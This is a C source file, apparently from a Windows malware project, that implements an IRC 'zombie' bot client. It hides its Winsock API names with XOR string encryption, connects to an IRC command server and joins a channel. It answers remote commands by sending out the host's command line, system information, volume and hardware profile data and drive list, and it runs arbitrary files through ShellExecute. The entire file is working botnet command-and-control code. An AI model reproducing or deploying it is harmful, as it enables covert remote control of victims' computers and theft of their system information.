/*
 * Module:  irc.c
 * Author:  Toni <matzeton@googlemail.com>
 * Purpose: Basic IRC zombie communication.
 * Origin:  https://bbs.archlinux.org/viewtopic.php?id=64254
 */

#include <winsock2.h>
#include <windows.h>

#include "compat.h"
#include "irc.h"
#include "utils.h"
#include "crypt.h"
#include "crypt_strings.h"
#include "xor_strings_gen.h"


typedef int WSAAPI (*InitFunc)          (WORD wVersionRequested, LPWSADATA lpWSAData);
typedef int WSAAPI (*GetLastErrorFunc) (void);
typedef SOCKET WSAAPI (*socketFunc)    (int af, int type, int proto);
typedef int WSAAPI (*shutdownFunc)     (SOCKET s, int how);
typedef int WSAAPI (*closesocketFunc)  (SOCKET s);
typedef int WSAAPI (*getaddrinfoFunc)(PCSTR pNodeName, PCSTR pServiceName, const ADDRINFOA* pHints, PADDRINFOA* ppResult);
typedef int WSAAPI (*connectFunc)      (SOCKET s, const struct sockaddr* name, int namelen);
typedef int WSAAPI (*sendFunc)         (SOCKET s, const char* buf, int len, int flags);
typedef int WSAAPI (*recvFunc)         (SOCKET s, char* buf, int len, int flags);
typedef int WSAAPI (*setsockoptFunc)   (SOCKET s, int level, int optname, const char* optval, int optlen);


static ApiCall_t* SocketApi = NULL;
#define FUNC(i)                (SocketApi[XOR_SOCK_FUNCS_END-i-1].func_ptr)
#define RUN_FUNC(i, type, ...) ((type)SocketApi[XOR_SOCK_FUNCS_END-i-1].func_ptr)(__VA_ARGS__)

#define DECRYPT_AND_LIBGETPROC(i, lib, dest) { DBUF(i, tmp); dest = getproc(lib, tmp); }
#define DECRYPT_AND_GETPROC(i, dest)         DECRYPT_AND_LIBGETPROC(i, socklib, dest)
#define DECRYPT_AND_GETPROCF(i)              DECRYPT_AND_LIBGETPROC(i, socklib, FUNC(i))


static WSADATA wsaData = {0};
static struct addrinfo* irc_ip = NULL;
static SOCKET sock = INVALID_SOCKET;

static char* recv_buf = NULL;
static char* send_buf = NULL;
static char* tmp_buf = NULL;


int checkSockStr(const char* chkbuf, enum stridx i)
{
    DBUF(i, needle);
    int ret = COMPAT(strnicmp)(chkbuf, needle, CLEN(i));
    return ret;
}

int initSocket(LoadLibraryFunc loadlib, GetProcAddressFunc getproc)
{
    if (SocketApi == NULL) {
        SocketApi = COMPAT(calloc)(1, sizeof(struct ApiCall)*(XOR_SOCK_FUNCS_END-XOR_SOCK_FUNCS_START-1));
        if (SocketApi == NULL)
            return -1;

        DBUF(SOCKDLL_ENUM, __nameSDLL);
        HMODULE socklib = loadlib(__nameSDLL);
        if (socklib == NULL)
            return -2;

        BOOL ret = TRUE;
        for (unsigned i = XOR_SOCK_FUNCS_START+1; i < XOR_SOCK_FUNCS_END; ++i) {
            if (FUNC(i))
                continue;
            DECRYPT_AND_GETPROCF(i);
            if (!FUNC(i))
                ret = FALSE;
        }
        if (!ret)
            return -3;
    }

    if (!recv_buf) {
        recv_buf = COMPAT(calloc)(S_BUFSIZ, sizeof(char));
        if (!recv_buf)
            return -4;
    }
    if (!send_buf) {
        send_buf = COMPAT(calloc)(S_BUFSIZ+1, sizeof(char));
        if (!send_buf)
            return -4;
    }
    if (!tmp_buf) {
        tmp_buf = COMPAT(calloc)(S_BUFSIZ+1, sizeof(char));
        if (!tmp_buf)
            return -4;
    }

    if (SocketApi) {
        int res = RUN_FUNC(SOCKFUNC_INIT_ENUM, InitFunc, 0x202, &wsaData); /* WSA 2.2 */
        if (res != 0)
            return -5;
    }

    return 0;
}

int shutSocket(void)
{
    if (!SocketApi)
        return -1;
    if (RUN_FUNC(SOCKFUNC_SHUTDOWN_ENUM, shutdownFunc, sock, SD_BOTH) != 0
            || RUN_FUNC(SOCKFUNC_CLOSESOCKET_ENUM, closesocketFunc, sock) == SOCKET_ERROR)
        return RUN_FUNC(SOCKFUNC_ERROR_ENUM, GetLastErrorFunc);
    return 0;
}

int ircRaw(const char* fmt, ...)
{
    if (!SocketApi)
        return -1;

    va_list ap;
    va_start(ap, fmt);
    int ret = COMPAT(vsnprintf)(tmp_buf, S_BUFSIZ+1, fmt, ap);
    va_end(ap);

    if (ret <= 0)
        goto error;
    size_t len = (ret < S_BUFSIZ ? ret : S_BUFSIZ);
#ifdef _PRE_RELEASE
    COMPAT(printf)("irc_raw(%d/%d): %s\n", ret, len, tmp_buf);
#endif
    ret = RUN_FUNC(SOCKFUNC_SEND_ENUM, sendFunc, sock, tmp_buf, len, 0);
    if (ret == SOCKET_ERROR)
        goto error;

error:
    return ret;
}

int ircPrivmsg(const char* target, size_t totalSiz, const char* fmt, ...)
{
    char* buf = COMPAT(calloc)(totalSiz+1, sizeof(char));
    off_t iBuf = 0;

    va_list ap;
    va_start(ap, fmt);
    int ret = COMPAT(vsnprintf)(buf, totalSiz+1, fmt, ap);
    va_end(ap);

    char* msgfmt = "PRIVMSG %s :%s\r\n";
    size_t fmtsiz = COMPAT(strlen)(target) + COMPAT(strlen)(msgfmt) - 4 /* len('%s')*2 */;
    char tmp[S_BUFSIZ - fmtsiz + 1];
    while (ret > 0 && ret != SOCKET_ERROR) {
        size_t bufsiz = ((size_t)ret > S_BUFSIZ-fmtsiz ? S_BUFSIZ-fmtsiz : (size_t)ret);
        COMPAT(memcpy)(&tmp[0], &buf[0]+iBuf, bufsiz);
        tmp[bufsiz] = 0;

        int s = ircRaw(msgfmt, target, &tmp[0]) - fmtsiz;
        ret -= s;
        iBuf += s;

        _WaitForSingleObject(_GetCurrentThread(), 500);
    }
    COMPAT(free)(buf);
    return iBuf;
}

int ircPrivmsgBinary(char* target, const unsigned char* buf, size_t siz)
{
    SIZE_T newsiz = 0;
    char* hexstr = __xbintostr(buf, siz, 1, &newsiz);
    int ret = -1;

    if (hexstr && newsiz) {
        ret = ircPrivmsg(target, newsiz, "%s", hexstr);
        COMPAT(free)(hexstr);
    }
    return ret;
}

int ircLoop(const char* nick, const char* channel, const char* host, const char* port)
{
    if (!SocketApi)
        return -1;

    char *user, *command, *where, *message, *sep, *target;
    int i, j, l, sl, o = -1, start = 0, wordcount;
    struct addrinfo hints = {0};

    hints.ai_family = AF_INET;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_protocol = IPPROTO_TCP;
    if (!irc_ip && RUN_FUNC(SOCKFUNC_GETADDRINFO_ENUM, getaddrinfoFunc, host, port, &hints, &irc_ip) != 0) {
        return RUN_FUNC(SOCKFUNC_ERROR_ENUM, GetLastErrorFunc);
    }
    if (irc_ip->ai_addrlen != sizeof(struct sockaddr_in) /* TCP/IP version 4 */)
        return -2;

    sock = RUN_FUNC(SOCKFUNC_SOCKET_ENUM, socketFunc, irc_ip->ai_family, irc_ip->ai_socktype, irc_ip->ai_protocol);
    if (sock == INVALID_SOCKET) {
        return RUN_FUNC(SOCKFUNC_ERROR_ENUM, GetLastErrorFunc);
    } else {
        int sopt = R_BUFSIZ;
        RUN_FUNC(SOCKFUNC_SETSOCKOPT_ENUM, setsockoptFunc, sock, SOL_SOCKET, SO_RCVBUF,   (const char*)&sopt, sizeof(sopt));
        sopt = S_BUFSIZ;
        RUN_FUNC(SOCKFUNC_SETSOCKOPT_ENUM, setsockoptFunc, sock, SOL_SOCKET, SO_SNDBUF,   (const char*)&sopt, sizeof(sopt));
        sopt = S_TIMEOUT;
        /* SO_RECVTIMEO should not less then irc server PING(-command) time */
        //sApi->setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (const char*)&sopt, sizeof(sopt));
        RUN_FUNC(SOCKFUNC_SETSOCKOPT_ENUM, setsockoptFunc, sock, SOL_SOCKET, SO_SNDTIMEO, (const char*)&sopt, sizeof(sopt));
        unsigned char copt = 1;
        RUN_FUNC(SOCKFUNC_SETSOCKOPT_ENUM, setsockoptFunc, sock, SOL_SOCKET, SO_KEEPALIVE,(const char*)&copt, sizeof(copt));
    }

#ifdef _PRE_RELEASE
    struct sockaddr_in* addr = (struct sockaddr_in*)irc_ip->ai_addr;
    COMPAT(printf)("%s to %u.%u.%u.%u:%u\n", "irc: connecting",
        addr->sin_addr.S_un.S_un_b.s_b1, addr->sin_addr.S_un.S_un_b.s_b2,
        addr->sin_addr.S_un.S_un_b.s_b3, addr->sin_addr.S_un.S_un_b.s_b4,
        SWAP_ENDIANESS16(addr->sin_port));
#endif
    if (RUN_FUNC(SOCKFUNC_CONNECT_ENUM, connectFunc, sock, irc_ip->ai_addr, irc_ip->ai_addrlen) != 0)
        return RUN_FUNC(SOCKFUNC_ERROR_ENUM, GetLastErrorFunc);

#ifdef _PRE_RELEASE
    COMPAT(printf)("%s\n", "irc: connected !!");
#endif
    ircRaw("USER %s 0 0 :%s\r\n", nick, nick);
    ircRaw("NICK %s\r\n", nick);

    while ((sl = RUN_FUNC(SOCKFUNC_RECV_ENUM, recvFunc, sock, recv_buf, S_BUFSIZ, 0)) != 0 && sl != SOCKET_ERROR) {
        for (i = 0; i < sl; i++) {
            o++;
            send_buf[o] = recv_buf[i];
            if ((i > 0 && recv_buf[i] == '\n' && recv_buf[i - 1] == '\r') || o == S_BUFSIZ) {
                send_buf[o + 1] = '\0';
                l = o;
                o = -1;
#ifdef _PRE_RELEASE
                COMPAT(printf)("irc: %s", send_buf);
#endif
                if (!checkSockStr(send_buf, SOCKSTR_PING_ENUM)) {
                    send_buf[1] = 'O';
                    ircRaw("%s", send_buf);
                } else if (send_buf[0] == ':') {
                    wordcount = 0;
                    user = command = where = message = NULL;
                    for (j = 1; j < l; j++) {
                        if (send_buf[j] == ' ') {
                            send_buf[j] = '\0';
                            wordcount++;
                            switch(wordcount) {
                                case 1: user = send_buf + 1; break;
                                case 2: command = send_buf + start; break;
                                case 3: where = send_buf + start; break;
                            }
                            if (j == l - 1) continue;
                            start = j + 1;
                        } else if (send_buf[j] == ':' && wordcount == 3) {
                            if (j < l - 1) message = send_buf + j + 1;
                            break;
                        }
                    }

                    if (wordcount < 2) continue;

                    if (!checkSockStr(command, SOCKSTR_MOTD_ENUM) && channel) {
                        ircRaw("JOIN %s\r\n", channel);
                    } else
                    if (!checkSockStr(command, SOCKSTR_PRIVMSG_ENUM) || !checkSockStr(command, SOCKSTR_NOTICE_ENUM)) {
                        if (where == NULL || message == NULL) continue;
                        if ((sep = strchr(user, '!')) != NULL) user[sep - user] = '\0';
                        if (where[0] == '#' || where[0] == '&' || where[0] == '+' || where[0] == '!') target = where; else target = user;
#ifdef _PRE_RELEASE
                        COMPAT(printf)("[from: %s] [reply-with: %s] [where: %s] [reply-to: %s] %s\n", user, command, where, target, message);
                        ircRaw("PRIVMSG %s :%s\r\n", target, message);
#endif
                        /* GetCommandLine(), GetSystemInfo(...), GetVolumeInformation(...), GetCurrentHwProfile(...), ShellExecute(...) */
                        if (!checkSockStr(message, SOCKCMD_GETCMD_ENUM)) {
#ifdef _PRE_RELEASE
                            COMPAT(printf)("irc: COMMAND: GetCommandLine !!\n");
#endif
                            char* cmdline = _GetCommandLine();
                            if (ircPrivmsg(target, COMPAT(strlen)(cmdline), "%s", cmdline) <= 0)
                                break;
                        } else
                        if (!checkSockStr(message, SOCKCMD_GETSYS_ENUM)) {
#ifdef _PRE_RELEASE
                            COMPAT(printf)("irc: COMMAND: GetSystemInfo !!\n");
#endif
                            SYSTEM_INFO si;
                            _GetSystemInfo(&si);
                            if (ircPrivmsgBinary(target, (unsigned char*)&si, sizeof(si)) <= 0)
                                break;
                        } else
                        if (!checkSockStr(message, SOCKCMD_GETVOL_ENUM)) {
#ifdef _PRE_RELEASE
                            COMPAT(printf)("irc: COMMAND: GetVolumeInformation !!\n");
#endif
                            char* root = NULL;
                            if (qtok(message, &message) && *message) {
                                root = qtok(message, &message);
                                if (root) {
                                    size_t len = COMPAT(strlen)(root);
                                    /* 0'ing \r\n */
                                    if (len >= 2) {
                                        root[len-1] = 0; 
                                        root[len-2] = 0;
                                    }
                                }
                            }
                            struct gvi {
                                char volname[128];
                                DWORD volserial;
                                DWORD volflags;
                                char volfs[32];
                            };
                            struct gvi _gvi = {{0}, 0, 0, {0}};
                            if (_GetVolumeInformation(root, _gvi.volname, sizeof(_gvi.volname), &_gvi.volserial, NULL, &_gvi.volflags, _gvi.volfs, sizeof(_gvi.volfs)) == TRUE) {
                                if (ircPrivmsgBinary(target, (unsigned char*)&_gvi, sizeof(_gvi)) <= 0)
                                    break;
                            } else {
                                ircRaw("PRIVMSG %s :ERROR\r\n", target);
                            }
                        } else
                        if (!checkSockStr(message, SOCKCMD_GETHWPROFILE_ENUM)) {
#ifdef _PRE_RELEASE
                            COMPAT(printf)("irc: COMMAND: GetCurrentHwProfile !!\n");
#endif
                            HW_PROFILE_INFO hw;
                            if (_GetCurrentHwProfile(&hw)) {
                                if (ircPrivmsgBinary(target, (unsigned char*)&hw, sizeof(hw)) <= 0)
                                    break;
                            } else {
                                DBUF(SOCKCMD_FMT0_ENUM, __nameFMT0);
                                DBUF(SOCKCMD_MSGERR_ENUM, __nameMSGERR);
                                ircPrivmsg(target, COMPAT(strnlen)(__nameMSGERR, CLEN(SOCKCMD_MSGERR_ENUM)), __nameFMT0, __nameMSGERR);
                            }
                        } else
                        if (!checkSockStr(message, SOCKCMD_SHELLEXEC_ENUM)) {
#ifdef _PRE_RELEASE
                            COMPAT(printf)("irc: COMMAND: ShellExecute !!\n");
#endif
                            char* file    = NULL;
                            char* params  = NULL;
                            char* showCmd = NULL;
                            size_t len    = 0;
                            if (qtok(message, &message) && *message) {
                                file = qtok(message, &message);
                                if (file && *message) {
                                    params = qtok(message, &message);
                                    if (params && *message) {
                                        showCmd = qtok(message, &message);
                                        if (showCmd) {
                                            len = COMPAT(strlen)(showCmd);
                                            /* 0'ing \r\n */
                                            if (len >= 2) {
                                                showCmd[len-1] = 0;
                                                showCmd[len-2] = 0;
                                            }
                                        }
                                    }
                                }
                            }
                            if (len > 0) {
                                long scmd = strtol(showCmd, NULL, 10);
                                DBUF(SOCKCMD_SHELLOP_ENUM, __nameSHOP);
                                DBUF(SOCKCMD_FMT1_ENUM, __nameFMT1);
                                DBUF(SOCKCMD_MSGERR_ENUM, __nameMSGERR);
                                HINSTANCE si = _ShellExecute(NULL, __nameSHOP, file, params, NULL, scmd);
                                if ((int)si <= 32) {
                                    ircPrivmsg(target, COMPAT(strnlen)(__nameMSGERR, CLEN(SOCKCMD_MSGERR_ENUM)) + 12 /* len(int32_max)+ len(': ') */
                                        , __nameFMT1, __nameMSGERR, (int)si);
                                }
                            } else {
                                DBUF(SOCKCMD_FMT0_ENUM, __nameFMT0);
                                DBUF(SOCKCMD_MSGSHELL_ENUM, __nameMSGSH);
                                ircPrivmsg(target, COMPAT(strnlen)(__nameMSGSH, CLEN(SOCKCMD_MSGSHELL_ENUM)), __nameFMT0, __nameMSGSH);
                            }
                        } else
                        if (!checkSockStr(message, SOCKCMD_ENUMDEVICES_ENUM)) {
                            struct LogicalDrives* devs = COMPAT(calloc)(DEFAULT_DEVS, sizeof(struct LogicalDrives));
                            if (devs) {
                                DWORD count = dwEnumDrives(devs, DEFAULT_DEVS);
                                DBUF(SOCKCMD_FMT0_ENUM, __nameFMT0);
                                DBUF(SOCKCMD_MSGERR_ENUM, __nameMSGERR);
                                if (count > 0) {
#ifdef _PRE_RELEASE
                                    COMPAT(printf)("irc: COMMAND: EnumDrives: %d !!\n", (int)count);
#endif
                                    ircPrivmsgBinary(target, (unsigned char*)devs, count*sizeof(struct LogicalDrives));
                                } else ircPrivmsg(target, COMPAT(strnlen)(__nameMSGERR, CLEN(SOCKCMD_MSGERR_ENUM)), __nameFMT0, __nameMSGERR);
                                COMPAT(free)(devs);
                            }
                        }
                    }
                }
            }
        }
    }

    return 0;
}